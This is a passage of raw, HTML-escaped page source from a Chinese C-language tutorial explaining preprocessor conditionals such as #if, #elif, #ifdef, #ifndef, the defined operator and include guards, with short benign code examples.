class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e FOO\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;defined\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;not defined\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,宏\u003ccode\u003eFOO\u003c/code\u003e如果定义过,会被替换成\u003ccode\u003e1\u003c/code\u003e,从而输出\u003ccode\u003edefined\u003c/code\u003e,否则输出\u003ccode\u003enot defined\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e如果有多个判断条件,还可以加入\u003ccode\u003e#elif\u003c/code\u003e命令。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e HAPPY_FACTOR == 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I\u0026#39;m not happy!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e HAPPY_FACTOR == 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I\u0026#39;m just regular\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I\u0026#39;m extra happy!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过\u003ccode\u003e#elif\u003c/code\u003e指定了第二重判断。注意,\u003ccode\u003e#elif\u003c/code\u003e的位置必须在\u003ccode\u003e#else\u003c/code\u003e之前。如果多个判断条件皆不满足,则执行\u003ccode\u003e#else\u003c/code\u003e的部分。\u003c/p\u003e\u003cp\u003e没有定义过的宏,等同于\u003ccode\u003e0\u003c/code\u003e。因此如果\u003ccode\u003eUNDEFINED\u003c/code\u003e是一个没有定义过的宏,那么\u003ccode\u003e#if UNDEFINED\u003c/code\u003e为伪,而\u003ccode\u003e#if !UNDEFINED\u003c/code\u003e为真。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#if\u003c/code\u003e的常见应用就是打开(或关闭)调试模式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e DEBUG 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e DEBUG\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;value of i : %d\\n\u0026#34;\u003c/span\u003e, i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;value of j : %d\\n\u0026#34;\u003c/span\u003e, j);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过将\u003ccode\u003eDEBUG\u003c/code\u003e设为\u003ccode\u003e1\u003c/code\u003e,就打开了调试模式,可以输出调试信息。\u003c/p\u003e\u003cp\u003eGCC 的\u003ccode\u003e-D\u003c/code\u003e参数可以在编译时指定宏的值,因此可以很方便地打开调试开关。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc -DDEBUG=1 foo.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e-D\u003c/code\u003e参数指定宏\u003ccode\u003eDEBUG\u003c/code\u003e为\u003ccode\u003e1\u003c/code\u003e,相当于在代码中指定\u003ccode\u003e#define DEBUG 1\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"ifdef…-endif\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ifdef%E2%80%A6-endif\" class=\"headerlink\" title=\"#ifdef…#endif\"\u003e\u003c/a\u003e#ifdef…#endif\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#ifdef...#endif\u003c/code\u003e指令用于判断某个宏是否定义过。\u003c/p\u003e\u003cp\u003e有时源码文件可能会重复加载某个库,为了避免这种情况,可以在库文件里使用\u003ccode\u003e#define\u003c/code\u003e定义一个空的宏。通过这个宏,判断库文件是否被加载了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e EXTRA_HAPPY\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eEXTRA_HAPPY\u003c/code\u003e就是一个空的宏。\u003c/p\u003e\u003cp\u003e然后,源码文件使用\u003ccode\u003e#ifdef...#endif\u003c/code\u003e检查这个宏是否定义过。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e EXTRA_HAPPY\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I\u0026#39;m extra happy!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e#ifdef\u003c/code\u003e检查宏\u003ccode\u003eEXTRA_HAPPY\u003c/code\u003e是否定义过。如果已经存在,表示加载过库文件,就会打印一行提示。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#ifdef\u003c/code\u003e可以与\u003ccode\u003e#else\u003c/code\u003e指令配合使用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e EXTRA_HAPPY\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I\u0026#39;m extra happy!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I\u0026#39;m just regular\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果宏\u003ccode\u003eEXTRA_HAPPY\u003c/code\u003e没有定义过,就会执行\u003ccode\u003e#else\u003c/code\u003e的部分。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#ifdef...#else...#endif\u003c/code\u003e可以用来实现条件加载。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e MAVIS\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;foo.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e STABLES 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;bar.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e STABLES 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过判断宏\u003ccode\u003eMAVIS\u003c/code\u003e是否定义过,实现加载不同的头文件。\u003c/p\u003e\u003ch3 id=\"defined-运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#defined-%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"defined 运算符\"\u003e\u003c/a\u003edefined 运算符\u003c/h3\u003e\u003cp\u003e上一节的\u003ccode\u003e#ifdef\u003c/code\u003e指令,等同于\u003ccode\u003e#if defined\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e FOO\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e defined FOO\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003edefined\u003c/code\u003e是一个预处理运算符,如果它的参数是一个定义过的宏,就会返回1,否则返回0。\u003c/p\u003e\u003cp\u003e使用这种语法,可以完成多重判断。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e defined FOO\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e defined BAR\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个运算符的一个应用,就是对于不同架构的系统,加载不同的头文件。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e defined IBMPC\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;ibmpc.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e defined MAC\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;mac.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;general.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,不同架构的系统需要定义对应的宏。代码根据不同的宏,加载对应的头文件。\u003c/p\u003e\u003ch3 id=\"ifndef…-endif\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ifndef%E2%80%A6-endif\" class=\"headerlink\" title=\"#ifndef…#endif\"\u003e\u003c/a\u003e#ifndef…#endif\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#ifndef...#endif\u003c/code\u003e指令跟\u003ccode\u003e#ifdef...#endif\u003c/code\u003e正好相反。它用来判断,如果某个宏没有被定义过,则执行指定的操作。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e EXTRA_HAPPY\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I\u0026#39;m extra happy!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e EXTRA_HAPPY\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I\u0026#39;m just regular\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,针对宏\u003ccode\u003eEXTRA_HAPPY\u003c/code\u003e是否被定义过,\u003ccode\u003e#ifdef\u003c/code\u003e和\u003ccode\u003e#ifndef\u003c/code\u003e分别指定了两种情况各自需要编译的代码。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#ifndef\u003c/code\u003e常用于防止重复加载。举例来说,为了防止头文件\u003ccode\u003emyheader.h\u003c/code\u003e被重复加载,可以把它放在\u003ccode\u003e#ifndef...#endif\u003c/code\u003e里面加载。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e MYHEADER_H\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e MYHEADER_H\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;myheader.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,宏\u003ccode\u003eMYHEADER_H\u003c/code\u003e对应文件名\u003ccode\u003emyheader.h\u003c/code\u003e的大写。只要\u003ccode\u003e#ifndef\u003c/code\u003e发现这个宏没有被定义过,就说明该头文件没有加载过,从而加载内部的代码,并会定义宏\u003ccode\u003eMYHEADER_H\u003c/code\u003e,防止被再次加载。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#ifndef\u003c/code\u003e等同于\u003ccode\u003e#if !defined\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e FOO\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 